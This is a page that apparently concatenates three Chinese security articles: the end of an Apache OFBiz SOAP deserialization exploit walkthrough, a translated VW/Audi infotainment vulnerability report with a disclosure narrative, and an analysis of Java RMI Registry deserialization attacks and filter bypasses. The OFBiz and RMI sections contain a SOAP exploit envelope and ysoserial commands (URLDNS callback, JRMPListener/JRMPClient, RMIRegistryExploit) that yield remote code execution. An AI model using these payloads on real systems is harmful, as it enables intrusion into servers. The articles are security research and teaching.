return XmlSerializer.deserialize(document, delegator);
}
Debug.logWarning("Serialized document came back null", module);
return null;
}
public static String serialize(Object object) throws SerializeException, FileNotFoundException, IOException {
Document document = UtilXml.makeEmptyXmlDocument("ofbiz-ser");
Element rootElement = document.getDocumentElement();
rootElement.appendChild(XmlSerializer.serializeSingle(object, document));
return UtilXml.writeXmlDocument(document);
}
}
SoapSerializer类实现了两个方法，一个序列化，一个反序列化，我们关注的必然是反序列化方法，查看哪一个类调用了deserialize方法，然后定位到SOAPEventHandler类invoke方法调用deserialize，我只截取部分重要代码：
SOAPBody reqBody = reqEnv.getBody();
validateSOAPBody(reqBody);
OMElement serviceElement = reqBody.getFirstElement();
serviceName = serviceElement.getLocalName();
Map<String, Object> parameters = UtilGenerics.cast(SoapSerializer.deserialize(serviceElement.toString(), delegator));
// get the service name and parameters
try {
InputStream inputStream = (InputStream) request.getInputStream();
SOAPModelBuilder builder = (SOAPModelBuilder) OMXMLBuilderFactory.createSOAPModelBuilder(inputStream, "UTF-8");
reqEnv = (SOAPEnvelope) builder.getDocumentElement();
SOAPEventHandler类会对请求request做处理，并以text/xml的格式返回响应。
我们似乎找到了最开始处理请求的地方，关键点在于，如何去寻求一个请求输入点呢？
这里涉及到ofbiz的技术架构，参考文章：<https://blog.csdn.net/yanghua_kobe/article/details/43868773>
我摘取其中关于如何处理请求的一段话：
> （1）客户端浏览器向web服务器发出一个请求(http/https)，请求会被web容器接收并作相应的处理（比如参数的封装等）。
>
> （2）请求被路由到一个代理servlet中，该servlet会分析请求是发往哪个app的，然后再到该项目的下的controller.xml配置文件中去匹配request-> map配置项，该配置项用于只是OFBiz如何处理这个请求。通常的处理过程是先进行安全检查以及权限确认，然后触发某个“事件”或者服务调用，最后会以一个view作为响应。如果是以一个view作为响应的话，OFBiz会去view-> map中匹配该视图，每一个视图view都有它对应的handler。
> （3）OFBiz会用配置的handler来处理该view。handler的作用主要用于渲染页面元素，并将需要展示的数据跟页面元素合并。
webcommon/WEB-INF/handlers-controller.xml定义了soap请求交由SOAPEventHandler处理
<handler name="soap" type="request" class="org.apache.ofbiz.webapp.event.SOAPEventHandler"/>
在serviceengine.xml定义了存在的引擎、需要调用的服务及其存在的位置，我注意到如下一行
<service-location name="main-soap" location="http://localhost:8080/webtools/control/SOAPService"/>
定义了soap服务的url
在webapp/content/WEB-INF/web.xml中，定义了`/control/*`路由下的请求会交给ControlServlet处理
<servlet-mapping>
<servlet-name>ControlServlet</servlet-name>
<url-pattern>/control/*</url-pattern>
</servlet-mapping>
在webapp/webtools/WEB-INF/controller.xml中配置了路由映射关系，soapservice的路由映射如下
<request-map uri="SOAPService">
<security https="false"/>
<event type="soap"/>
<response name="error" type="none"/>
<response name="success" type="none"/>
</request-map>
这里指定了SOAPService将会交由event类型为soap去处理。
中间过程是如何发生的呢：
当我们访问[http://localhost:8080/webtools/control/SOAPService时，由于web.xml的原因，ControlServlet会处理该请求。](http://localhost:8080/webtools/control/SOAPService%E6%97%B6%EF%BC%8C%E7%94%B1%E4%BA%8Eweb.xml%E7%9A%84%E5%8E%9F%E5%9B%A0%EF%BC%8CControlServlet%E4%BC%9A%E5%A4%84%E7%90%86%E8%AF%A5%E8%AF%B7%E6%B1%82%E3%80%82)
它会调用getRequestHandler，具体代码如下：
protected RequestHandler getRequestHandler() {
return RequestHandler.getRequestHandler(getServletContext());
}
当前servlet的上下文会作为参数传递给RequestHandler.getRequestHandler，而getRequestHandler会去调用RequestHandler方法，给出部分关键代码：
private RequestHandler(ServletContext context) {
// init the ControllerConfig, but don't save it anywhere, just load it into the cache
this.controllerConfigURL = ConfigXMLReader.getControllerConfigURL(context);
try {
ConfigXMLReader.getControllerConfig(this.controllerConfigURL);
......
获取xml的配置信息，涉及到了ConfigXMLReader.getControllerConfigURL：
public static URL getControllerConfigURL(ServletContext context) {
try {
return context.getResource(controllerXmlFileName);
} catch (MalformedURLException e) {
Debug.logError(e, "Error Finding XML Config File: " + controllerXmlFileName, module);
return null;
}
}
这里的controllerXmlFileName就是”/WEB-INF/controller.xml”，获取controller.xml
中的相应映射关系，后续便是根据相应的映射关系，分配handler，处理请求。
所以我们请求前文所提到soapservice服务，便将会由org.apache.ofbiz.webapp.event.SOAPEventHandler去处理该请求。
## 构造构造
### URLDNS利用URLDNS利用
<?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://ofbiz.apache.org/service/">
<soapenv:Header/>
<soapenv:Body>
<ns1:clearCacheLineByValue>
<ns1:cus-obj>[payload]</ns1:cus-obj>
</ns1:clearCacheLineByValue>
</soapenv:Body>
</soapenv:Envelope>
执行命令：
java','-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', "URLDNS",[dnslog]
将结果转hex，粘贴到payload处
得到回显
### rmi反序列化rmi反序列化
攻击者：
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 "calc.exe"
客户端：
popen = subprocess.Popen(['java','-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', "JRMPClient", "127.0.0.1:9999"], stdout=subprocess.PIPE)
data = popen.stdout.read()
data.hex()
原安装包下，由于common-collections的版本问题，并不能直接成功rce，为了达到rce的目的，我替换了common-collections3.2.2为common-collections3.1，然后按照上述步骤执行命令，成功执行命令，弹出了计算器。
基于各种开发环境，并不一定能够达到rce的效果，而urldns作为一种默认通用类，也并没有将其认定为危险类，利用urldns也仅是作为验证目标机器是否能够出网。 | 社区文章 |
# 大众&奥迪车载娱乐系统漏洞技术分析
##### 译文声明
本文是翻译文章，文章原作者 computest，文章来源：www.computest.nl
原文地址：<https://www.computest.nl/wp-content/uploads/2018/04/connected-car-rapport.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
##
## 研究目标
该研究主要关注于可以通过互联网远程触发的攻击向量，然后利用该攻击向量去影响驾驶行为和其他安全相关组件，这意味着我们可以获得访问高速动力CAN总线的权限。
## 研究方案
关注的汽车类型：
* 在蜂窝网络和高速总线之间只存在少数层的；
* 方便替换SIM卡的；
* 汽车通过Wi-Fi或蜂窝网络提供大量服务的。
选取了大众高尔夫GTE和奥迪A3纯电版作为研究对象，看起来两辆车拥有一样的车载娱乐系统，具有一个较宽的攻击面，容易发现可利用的漏洞。
## 研究成果
### 1.入口
大众高尔夫GTE装有Harman的车载娱乐系统模块（`Modular Infotainment Platform MIB`），通过Wi-Fi连接后用nmap扫描发现大量开启的端口，其中有个`telnel`服务，但密码使用的是8位随机字母，目前无法进入；其他端口是GPS、FM等功能调试接口。
49152端口是`PlutinoSoft Platinum
UPnP`开源项目的UPnP服务的端口，奥迪A3同样也开启了这个服务，但是我们没有发现这个服务的漏洞。
后来在高尔夫上发现了一个任意文件读取的漏洞，但是很快的把漏洞拓展成了远程代码执行漏洞，利用这个漏洞需要在车辆附近连接上汽车Wi-Fi热点才能进行利用。
### 2.MMX
通过漏洞获得权限的是一套基于ARMv7的QNX多媒体系统，是它提供了Wi-Fi热点服务，但是没有用于手机APP的蜂窝网络连接；不过在系统上发现有一个内部网络，
# ifconfig mmx0
mmx0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
address: 00:05:04:03:02:01
media: <unknown type> autoselect
inet 10.0.0.15 netmask 0xffffff00 broadcast 10.0.0.255
inet6 fe80::205:4ff:fe03:201%mmx0 prefixlen 64 scopeid 0x3
通过扫描，发现内容存在其他存活的设备，那个设备被证明是RCC，同样开启了`telnet`服务，但是使用的不是和MMX同样的密码；不过深入研究MMX的配置后发现，MMX和RCC使用Qnet（一个QNX专有协议）共用文件系统，MMX和RCC可以互相派生进程和读取文件（例如/etc/shadow），后来发现RCC上的shadow是一个链接，链接到MMX系统上的shadow文件。
# /tmp/telnet 10.0.0.16
Trying 10.0.0.16...
Connected to 10.0.0.16.
Escape character is ‘^]’.
QNX Neutrino (rcc) (ttyp0)
login: root
Password:
___ _ _ __ __ ___ _____
/ |_ _ __| (_) | / |_ _| _
/ /| | | | |/ _ | | | |/| || || |_)_/
/ __ | |_| | (_| | | | | | || || |_)
/_/ |_|__,__|__,_|_| |_| |_|___|_____/
/ > ls –la
total 37812
lrwxrwxrwx 1 root root 17 Jan 01 00:49 HBpersistence -> /mnt/efs-persist/
drwxrwxrwx 2 root root 30 Jan 01 00:00 bin
lrwxrwxrwx 1 root root 29 Jan 01 00:49 config -> /mnt/ifs-root/usr/apps/
config
drwxrwxrwx 2 root root 10 Feb 16 2015 dev
dr-xr-xr-x 2 root root 0 Jan 01 00:49 eso
drwxrwxrwx 2 root root 10 Jan 01 00:00 etc
dr-xr-xr-x 2 root root 0 Jan 01 00:49 hbsystem
lrwxrwxrwx 1 root root 20 Jan 01 00:49 irc -> /mnt/efs-persist/irc
drwxrwxrwx 2 root root 20 Jan 01 00:00 lib
drwxrwxrwx 2 root root 10 Feb 16 2015 mnt
dr-xr-xr-x 1 root root 0 Jan 01 00:37 net
drwxrwxrwx 2 root root 10 Jan 01 00:00 opt
dr-xr-xr-x 2 root root 19353600 Jan 01 00:49 proc
drwxrwxrwx 2 root root 10 Jan 01 00:00 sbin
dr-xr-xr-x 2 root root 0 Jan 01 00:49 scripts
dr-xr-xr-x 2 root root 0 Jan 01 00:49 srv
lrwxrwxrwx 1 root root 10 Feb 16 2015 tmp -> /dev/shmem
drwxr-xr-x 2 root root 10 Jan 01 00:00 usr
dr-xr-xr-x 2 root root 0 Jan 01 00:49 var
### 3.Car-NET
联网模块没有放在车载娱乐系统上，而是在仪表盘后面有个单独的模块，并且SIM卡是嵌入式的eSIM，没有其他的接口，因此这个模块在不接触车的情况下无法进行攻击。
### 4.奥迪A3
奥迪A3使用了同样的车载娱乐系统，但是版本更高，拥有一个物理SIM卡给奥迪联网功能提供服务；通过Wi-Fi热点进行扫描后，没有得到任何结果，但是通过对SIM卡的公网IP进行扫描，发现了大量开放的端口，
$ nmap -p0- -oA md -Pn -vvv -A 89.200.70.122
Starting Nmap 7.31 ( https://nmap.org ) at 2017-04-03 09:14:54 CET
Host is up, received user-set (0.033s latency).
Not shown: 65517 closed ports
Reason: 65517 conn-refused
PORT STATE SERVICE REASON VERSION
23/tcp open telnet syn-ack Openwall GNU/*/Linux telnetd
10023/tcp open unknown syn-ack
10123/tcp open unknown syn-ack
15298/tcp filtered unknown no-response
21002/tcp open unknown syn-ack
22110/tcp open unknown syn-ack
22111/tcp open tcpwrapped syn-ack
23000/tcp open tcpwrapped syn-ack
23059/tcp open unknown syn-ack
32111/tcp open tcpwrapped syn-ack
35334/tcp filtered unknown no-response
38222/tcp filtered unknown no-response
49152/tcp open unknown syn-ack
49329/tcp filtered unknown no-response
62694/tcp filtered unknown no-response
65389/tcp open tcpwrapped syn-ack
65470/tcp open tcpwrapped syn-ack
65518/tcp open unknown syn-ack
Nmap done: 1 IP address (1 host up) scanned in 464 seconds
大部分服务和高尔夫类似，但是端口不一样，可能奥迪的MIB更老旧，但是我们在高尔夫上利用成功的漏洞在奥迪A3上同样可以利用。
只有当汽车开启了奥迪联网服务，并且拥有公网IP时，攻击者才可以成功利用漏洞。
### 5.RCC & Renesas V850
RCC单元是MIB上单独的芯片，主要负责底层通讯的模块，通过串口控制DAB+、CAN、AM/FM解码等功能。
RCC没有直接连接到总线，通过SPI控制`Renesas V850`进行总线数据进行操作的。
但是`V850`的固件本身不支持发送任意的CAN总线消息，只支持有限的总线数据发送，并且Renesas芯片开启了读保护，所以没法轻易的导出固件。
MIB具有软件升级的功能，可以使用SD卡、U盘、CD装载新的固件进行升级，升级的初始化部分在MMX上进行；固件本身使用了RSA进行签名，但是没有加密。MMX对固件完成校验后，直接穿给`RCC`进行升级，`Renesas
V850`的升级由`RCC`的`mib2_ioc_flash`触发；但是普通用户没法轻易获得固件，如果获得了固件可以修改固件添加后门从而发送任意的CAN消息。
### 7.网关
在我们对`Renesas
V850`进行固件篡改后，我们可以发送任意的CAN总线消息到总线上，但是这是车载娱乐系统转能用总线，直接连接到CAN网关，CAN网关作为防火墙，隔离了不同速率、类型的总线。
网关的固件已签名，因此对该芯片加后门将不起作用，这会使得签名无效。此外，只能通过ODB-II诊断口进行固件刷写，不能通过车载娱乐系统的CAN总线刷写固件，如果我们想绕过这个芯片，我们需要在固件中找到可利用的漏洞，实现这一目标的第一步就是尝试从芯片上提取固件。
然而在经过仔细考虑之后，我们决定在此停止我们的研究，因为这可能会损害制造商的知识产权并可能违反法律。
### 8.USB攻击
除了远程攻击之外，我们还发现了USB攻击向量，MMX会去识别USB转网口的USB设备用于debug；
/etc/usblauncher.lua:
-- D-Link DUB-E100 USB Dongles
device(0x2001, 0x3c05) {
driver”/etc/scripts/extnet.sh -oname=en,lan=0,busnum=$(busno),devnum=$(devno),- phy_88772=0,phy_check,wait=60,speed=100,duplex=1,ign_remove,path=$(USB_PATH) /lib/dll/
devnp-asix.so /dev/io-net/en0”;
removal”ifconfig en0 destroy”;
};
device(0x2001, 0x1a02) {
driver”/etc/scripts/extnet.sh -oname=en,lan=0,busnum=$(busno),devnum=$(devno),- phy_88772=0,phy_check,wait=60,speed=100,duplex=1,ign_remove,path=$(USB_PATH) /lib/dll/
devnp-asix.so /dev/io-net/en0”;
removal”ifconfig en0 destroy”;
};
-- SMSC9500
device(0x0424, 0x9500) {
-- the extnet.sh script does an exec dhcp.client at the bottom, then usblauncher can
slay the dhcp.client when the dongle is removed
driver”/etc/scripts/extnet.sh -olan=0,busnum=$(busno),devnum=$(devno),path=$(USB_PATH)
/lib/dll/devn-smsc9500.so /dev/io-net/en0”;
removal”ifconfig en0 destroy”;
};
-- Germaneers LAN9514
device(0x2721, 0xec00) {
-- the extnet.sh script does an exec dhcp.client at the bottom, then usblauncher
can slay the dhcp.client when the dongle is removed
driver”/etc/scripts/extnet.sh -olan=0,busnum=$(busno),devnum=$(devno),path=$(USB_
PATH) /lib/dll/devn-smsc9500.so /dev/io-net/en0”;
removal”ifconfig en0 destroy”;
};
即使没有USB我们也还有`telnet`打开着，在这个版本的QNX，密码是8位的大写字母，我们只需花100美元用FPGA去暴力破解密码，不到三天就可以破解出密码。
我们修改了`Nexus 5`的内核内容，只要把手机插到车载USB口上，它就会被识别成一个网卡，MMX就会进入一个调试界面。
## 披露过程
在我们发现和验证了漏洞之后，就联系了相应的汽车制造商；为此我们去寻找了相应厂商的`Responsible Disclosure
Policy`(RDP)去了解他们的披露流程，但是大众没有相应的RDP，所以我们通过大众公众举报系统联系了他们的外部律师，并且实名披露了我们发现的东西。
经过2017年7月中旬的初步沟通，我们认为面对面是最好的披露方式，大众邀请我们2017年8月访问他们位于沃尔夫斯堡的IT中心。
大众需要一些时间来调查影响并进行风险评估，最后10月份我们收到了他们的最终结论，他们不会公布自己的声明。
他们于2018年2月初进行评估，并且2018年4月大众汽车向我们提供一封确认漏洞的信件，并提及它们已在车载娱乐系统中更新修复了漏洞，这意味着升级后的汽车不会受到该漏洞的印象；但是根据我们的经验，在这之前生产的汽车不会自动更新，依然受到漏洞的影响。
当发布这篇文章的时候，我们决定只披露部分我们的发现，公布我们的过程和攻击策略，不公布远程漏洞的细节。并且我们也咨询了丰富经验的律师后，以确保我们的方法和行动是合理的，并评估了潜在的法律后果。
## 总结
在我们的研究中，至少证明了一个可行的利用方案，远程控制车载娱乐系统，从而控制大屏幕、喇叭、麦克风，并且发送任意CAN消息，但是由于CAN网关将车载娱乐系统和其他组件做了隔离，这使得我们并不能直接影响驾驶和其他安全系统。
我们认为具有恶意意图的对手被低估了，最初的漏洞我们是在安全测试中发现的，在我们和大众会议中，我们了解到尽管到车载娱乐系统被用于大众遍布全球的上千万的汽车上，但是它没有通过一个正式的安全测试。然而在他们的反馈里，他们早就知道了这个漏洞。
与行业内的人士交流时，我们的印象是他们的安全的意识和关注度在不断增长，但主要侧重于处于发展阶段的模型，生产刹车等关键部件时，制造商在其保证零部件的质量上已具备高度的成熟度；主要关注于功能安全而非信息安全。
对于大多数零部件制造商来说，远程攻击是一个新的领域，为了有效地解决这个问题，需要在软件开发的生命周期中嵌入安全检测，这是一个多年前在应用程序安全就开始的模式。在具有自动测试、持续部署和发布后快速更新的环境中，这样做更容易。由于法规和生态的原因，这在硬件行业并非总是可行的。它通常需要许多供应商之间的协调。如果我们想保护未来的汽车，这些都是我们必须解决的问题。但是今天或上周上路的汽车呢？他们通常没有所需的能力（比如无线更新），但是在未来的十五年里会继续开在我们走的道路上。我们相信他们会对其车主构成威胁。
由于汽车行业不是传统的软件行业，因此需要关注其他行业并借鉴其安全原则和实践。
以手机为例，汽车行业可以从可信赖执行、隔离和创建生态系统中学习宝贵的经验，实现快速安全补丁。例如，汽车中可远程访问的组件应该能够接收并经过验证后执行安全更新，而无需用户交互。我们知道，在日常运营中组件故障是一个高威胁；我们也明白，联网汽车有其优势，我们也没有试图改变这种趋势；但是，我们不能忽视当今互联网世界中存在的威胁。
## 建议
### 1.厂商
* 不断增长的联网设备增加的不仅是了巨大的机会，还会伴随着其他我们需要关心的风险。产品的质量问题不仅只存在于机械和材料上，嵌入式软件的安全也同样重要，因此在质量保证方面需要同等重视。
* 通常来说，从第三方购买组件，并不能撇清制造商对其质量和安全的责任，对于这些组件同样需要进行彻底的质量检验。制造商要对所售产品的质量和安全负责。
* 即使是最好的质量控制也不能防止错误发生，在这样的事件中，制造商应该对受影响的客户承担责任并迅速和透明地进行沟通和反馈，隐瞒不仅会导致客户的损失，还会影响厂商的声誉。
* 白帽子不应该被视为威胁，而是帮助发现漏洞，这些人们往往有不同的视角和方法，使他们能够找到很多没被发现的漏洞，这些漏洞的发现对于提高产品的质量非常重要。
* 每个制造商都应该制定一份责任披露政策（RDP），明确说明外部人员的情况可以在安全的环境中报告发现的漏洞。白帽子不应该受到威胁，并且鼓励向制造商披露调查结果。
### 2.消费者
* 联网汽车主要为消费者带来更多的优势，但这应用技术还处于早期阶段，因此在质量和安全性方面尚未完全成熟。
* 了解更多信息：询问你想要的汽车用于碰撞测试等的质量和安全标准，具体询问有关远程维护以及制造商对于汽车中软件的支持时长，如果防止被远程攻击威胁，请让您的经销商在正常的服务时间内安装更新。
* 在可能的情况下，保持软件是最新版本。这不仅适用于汽车，同样适用于所有的物联网设备，如婴儿监视器，智能电视和家庭自动化设备等。
### 3.白帽子
* 发现并披露一个漏洞，不只是白帽子的的个人胜利，也是为了一个更好的IT系统做出贡献。
* 如果你发现了一个漏洞，在没有确保你没有伤害任何人前不要太深入，。
* 立即通知漏洞的所有者或制造商，不要和媒体或任何其他第三方分享相关信息，寻找责任方的RDP，如果你找不到RDP，请匿名的联系制造商要求这样的政策来保护你的权力。另一种很好的方法是寻找举报政策，以这种方式联系制造商。
* 要注意的是，从作为工程师的角度来看，看似简单的解决方案，在应用到数十万辆汽车的规模时，可能会完全不同，要有耐心和同理心。
* 了解研究相关的法律法规是很重要的。不同的国家立法和有限的相关管辖权并不能使这一问题变得容易。记住:即使有不犯罪的意图也不会使违法行为不受惩罚。如果有疑问，请提前咨询法律意见! | 社区文章 |
# 浅谈Java RMI Registry安全问题
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
本文讲述了Java RMI Registry相关的反序列化问题，主讲Registry，后续补充了Client端和Server端的利用
## 0x01 原理
Java RMI流程可参考[1](https://xz.aliyun.com/t/2223)，出问题的位置在于：
### 情景一：Registry 接收bind/rebind请求
从Client接收到的bind或rebind的`remote
obj`，将由`sun/rmi/registry/RegistryImpl_Skel.java#dispatch`处理
（下图为JDK8u141之前的版本的实现）
可以看到获取到的序列化数据直接调用了readObject函数，导致了常规的Java反序列化漏洞的触发。
这里我们只需要写一个bind或rebind的操作，即可攻击到RMI Registry。
#### 注意：bind/rebind请求的限制
Registry对于bind/rebind的请求，会去检查这个请求是否为本地请求，对于外部的请求，Registry会拒绝该请求。
这里思路是正确的，可以防止外部的恶意绑定，但是他在实现上存在问题。
JDK
8u141之前，首先会去接收传送过来的对象，并将其进行`readObject`反序列化，实际判断是否为本地请求，是在put新的绑定对象之前进行的。这意味着在checkAccess之前我们就可以完成反序列化操作，该限制并没有起到相应的作用。
而在JDK 8u141版本之后，`sun/rmi/registry/RegistryImpl_Skel.java#dispatch`
这里会先去判断是否为本地绑定请求，然后再进行反序列化。
所以如果要使用bind/rebind请求来远程攻击Registry，JDK版本必须在8u141之前
### 情景二：Registry接收lookup请求
由于bind/rebind请求在141后续版本存在限制，所以为了攻击Registry我们必须找其他的方法。
在RMI里客户端向Registry发起lookup请求是不限制请求源的，那么lookup是否可以被我们利用呢？
答案是肯定的，来看`sun.rmi.registry.RegistryImpl_Skel#dispatch`对于lookup请求的处理
可以看到在这里，接收到lookup发送过来的内容时，也是直接对其进行反序列化操作。但是这里并没有bind/rebind的请求源限制，所以我们可以直接lookup发起对141版本之后的registry的攻击。
我们在构造lookup函数请求时，只需重新实现一下lookup函数的实现就可以了（这里将Naming.lookup和RegistryImpl_Stub.lookup进行了合并，并将传送过去的内容改成了任意的Object对象）。
## 0x02 攻击Registry jdk<8u121
环境使用jdk8u111，该版本下的RMI Registry接收的remote
obj只要继承了Remote类即可（原理见[2](https://www.freebuf.com/vuls/126499.html)），没有其他的限制。
ysoserial工具中的`ysoserial.exploit.RMIRegisterExploit`采用了代理Remote类的方式来解决这个限制。
使用如下命令即可
`java -cp ysoserial-0.0.6-SNAPSHOT-all.jar
ysoserial.exploit.RMIRegistryExploit RMIRegisterHost RMIRegisterPort
CommonsCollections7 "open /System/Applications/Calculator.app"`
### 简单看一下ysoserial.exploit.RMIRegisterExploit的原理
根据前面文章中的原理，我们传过去的对象必须要是一个继承了java.rmi.Remote接口的对象。这里ysoserial工具则直接利用动态代理的原理，对Remote类做代理，其处理的handler用了CommonsCollections中常用的AnnotationInvocationHandler。但其触发点变为handler的memberValues属性被反序列化所执行的利用链。
接下来，远程bind对象将构造好的remote对象传过去即可，来看一下这个代码
## 0x03 攻击Registry jdk<8u232_b09
jdk8u121修复后的版本里，对反序列化的类做了白名单限制，见`sun/rmi/registry/RegistryImpl.java#registryFilter`
这个白名单包括：
if (String.class == clazz
|| java.lang.Number.class.isAssignableFrom(clazz)
|| Remote.class.isAssignableFrom(clazz)
|| java.lang.reflect.Proxy.class.isAssignableFrom(clazz)
|| UnicastRef.class.isAssignableFrom(clazz)
|| RMIClientSocketFactory.class.isAssignableFrom(clazz)
|| RMIServerSocketFactory.class.isAssignableFrom(clazz)
|| java.rmi.activation.ActivationID.class.isAssignableFrom(clazz)
|| java.rmi.server.UID.class.isAssignableFrom(clazz)) {
return ObjectInputFilter.Status.ALLOWED;
} else {
return ObjectInputFilter.Status.REJECTED;
}
0x02中发送的对象是代理后的AnnotationInvocationHandler对象，并不在上述允许的类里面，这导致原先ysoserial工具中的ysoserial.exploit.RMIRegisterExploit无法利用。这里我们参考[3](http://www.codersec.net/2018/09/%E4%B8%80%E6%AC%A1%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91rmi%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B7%B1%E6%80%9D/)的方法来达成利用。
首先思路比较明确的是，如果要绕过这个限制，我们需要在上述的白名单里找到可以利用的对象。
在白名单里我们注意一下两个特殊对象Remote对象和UnicastRef对象
### 1\. UnicastRef对象
我们都知道RMI过程中存在客户端与服务器端之间的交互，那么在代码层面，我们需要怎么去创造这样一个链接呢？
由于漏洞发生点为向远程服务器注册对象的引用。回顾一下，我们在bind时，会先去获得一个Registry，类似下面
Registry registry = LocateRegistry.getRegistry("192.168.98.80");
跟进`java/rmi/registry/LocateRegistry.java#getRegistry`
注意到这样一段代码，通过TCPEndpoint注册服务端的host、端口等信息，以UnicastRef封装liveRef.在下面createProxy时使用了RemoteObjectInvocationHandler作为UnicastRef动态代理的处理类
最终，我们将以客户端的身份去链接，所以这里的Registry会是`sun/rmi/registry/RegistryImpl_Stub.java#bind`向远程RMI
Registry注册。
newCall发起连接，并将需要绑定的对象发送过去。
到这里就结束了向远程Registry发起绑定的操作。这个过程中我们用到了UnicastRef对象，那么这里想象一下，如果我们可以控制UnicastRef对象里LiveRef的host和port，那么我们就能发起任意的RMI连接。这里就是ysoserial中JRMPClient的原理，来看一下这个payload
是不是很熟悉XD，使用的方法就是前面绑定过程中的代码。而在白名单里UnicastRef对象是允许被反序列化的。
### 2\. RemoteObjectInvocationHandler对象
前面分析到UnicastRef可被用于发起RMI连接，但是为了符合发送的条件，仍然需要满足实现Remote接口的条件。而UnicastRef并没有实现Remote接口，这就意味着直接传UnicastRef是不行的，我们还需要再多做一步，这里有两种方法：
1. 跟RMIRegisterExploit一样，使用Proxy反射来实现，其handler继承于Remote并处理了构造好的UnicastRef，这里用到的就是RemoteObjectInvocationHandler
2. 找到一个可以封装UnicastRef的对象，并且该对象还实现了Remote对象
这里JRMPClient使用的RemoteObjectInvocationHandler就是第一种方法，我们将AnnotationInvocationHandler替换成RemoteObjectInvocationHandler。在反序列化时会调用RemoteObjectInvocationHandler的父类RemoteObject的readObject函数
这里的ref就是我们传进去的UnicastRef，调用其readExternal函数，这里介绍一下readExternal
>
> Java默认的序列化机制非常简单，而且序列化后的对象不需要再次调用构造器重新生成，但是在实际中，我们可以会希望对象的某一部分不需要被序列化，或者说一个对象被还原之后，其内部的某些子对象需要重新创建，从而不必将该子对象序列化。
> 在这些情况下，我们可以考虑实现Externalizable接口从而代替Serializable接口来对序列化过程进行控制。
> Externalizable接口extends
> Serializable接口，而且在其基础上增加了两个方法：writeExternal()和readExternal()。这两个方法会在序列化和反序列化还原的过程中被自动调用，以便执行一些特殊的操作。
>
> <https://xz.aliyun.com/t/5392>
这里的readExternal就是重新创建一个tcp连接
继续往下跟
重新生成一个LiveRef对象后，将存储到当前的ConnectionInputStream上。后续该stream会继续调用registerRefs函数
最终由DGCClient发起连接，下图中的loopup函数
到这里后面就是JRMPListener反序列化的东西了，这里在最后进行分析。
### 3\. RMIConnectionImpl_Stub对象
前面提到了两种思路，还有一种就是找到一个实现了Remote接口并且封装了ref的对象，这里RMIConnectionImpl_Stub对象就是
RemoteObjectInvocationHandler后续的触发主要依靠RemoteObject对象的readObject函数的重新填充，而RMIConnectionImpl_Stub对象也继承了RemoteObject所以后面的一些调用过程跟第二个对象一样，不再叙述。
其实顺着思路找还能发现`DGCImpl_Stub`、`RMIServerImpl_Stub`、`RegistryImpl_Stub`、`ReferenceWrapper_Stub`都可以
## 0x04 后续 jdk>=8u232_b09
jdk版本8u232_b09修复了前面使用反向发起JRMP连接的利用。修复点包括两个
### 一：RegistryImpl_Skel
`sun.rmi.registry.RegistryImpl_Skel#dispatcher`，这里截了lookup函数的处理，bind/rebind函数的处理是一样的
当发生反序列化错误或者类型转换错误时，会调用`call.discardPendingRefs`，将现有的JRMP连接清除掉。也就意味着这里我们无法用JRMP反向链接的方式来达成利用了。
### 二：DGCImpl_Stub
当Registry处理JRMP反连的时候，会调用`DGCImpl_Stub#dirty`，而`ref.invoke`会最终调用`sun.rmi.transport.StreamRemoteCall#executeCall`来处理返回的异常，这里会最终导致反序列化(详细见0x05番外)
而在232版本，将原本在后面注册的`leaseFilter`提到了前面
看看该过滤器的限制`sun/rmi/transport/DGCImpl_Stub.java#leaseFilter`
对于返回的序列化对象，只允许上面的几种类型，而现有的反序列化利用链中HashSet、HashTable等类都是通不过的。
所以在Registry发起的反向连接是无法利用成功的。
ps:这里用的`DGCImpl_Stub`是客户端发起时使用的，相对应的还有server端接收Client发起的连接的处理`DGCImpl_Skel`，skel这里也存在反序列化漏洞，具体见0x08
## 0x05 番外：ysoserial中的JRMPListener与JRMPClient
看了上面可能你会疑惑，为什么server端发起一个RMI的连接就会触发java反序列化？
前文我们将的是RMI Registry在接收远程绑定对象时所发生的反序列化漏洞，那么RMI
Client在接收Server端的数据时是否也会发生反序列化漏洞呢？答案是肯定的，毕竟RMI交互过程中的数据采用的是序列化的数据，也就意味着存在着一个反序列化的过程。
看一下JRMPListener的代码，简单来说，其实现了与RMI Client的交互流程。这里我们直接看重点的代码
在完成前面的一些交互步骤后，Listener会向Client发送一个ExceptionalReturn的状态，并将序列化的payload填充到BadAttributeValueExpException的val属性。这里用的BadAttributeValueExpException并不是我们以前分析时做的toString触发点，而是仅作为payload的一个载体，在反序列化BadAttributeValueExpException的val属性时同样反序列化了我们的payload。
而位于Client在接收到ExceptionalReturn时的处理方式见`sun/rmi/transport/StreamRemoteCall.java#executeCall`前面的分析都省略了
在这里我们看到了熟悉的readObject函数，其用于将前面的Exception进行反序列化。
到这里就可以串起来了，Client发起RMI连接，连接到我们的恶意Listener上面。而我们的Listener将返回一个构造好的Exception，旨在Client接收到ExceptionalReturn的信号时进行还原，从而造成了RMI
Client端也受到反序列化漏洞的攻击。
## 0x06 总结
前文主要讲诉了RMI的相关反序列化问题，包括RMI Registry和RMI Client接收到反序列化数据时产生的反序列化漏洞。
全文所使用的JDK版本为JDK8，在分析过程中，发现在最近的JDK8u版本上，已无法对RMI
Registry发起攻击，但其在JDK8u232_b09之前的版本还是可以的。
本文主要攻击的是RMI Registry，而RMI的攻击面不单单文中提到的这种方式，还存在
1. 针对codebase的攻击见[https://github.com/vulhub/vulhub/blob/master/java/rmi-codebase/README.md，加载我们构造好的class。当然现在这种情况比较少了。](https://github.com/vulhub/vulhub/blob/master/java/rmi-codebase/README.md%EF%BC%8C%E5%8A%A0%E8%BD%BD%E6%88%91%E4%BB%AC%E6%9E%84%E9%80%A0%E5%A5%BD%E7%9A%84class%E3%80%82%E5%BD%93%E7%84%B6%E7%8E%B0%E5%9C%A8%E8%BF%99%E7%A7%8D%E6%83%85%E5%86%B5%E6%AF%94%E8%BE%83%E5%B0%91%E4%BA%86%E3%80%82)
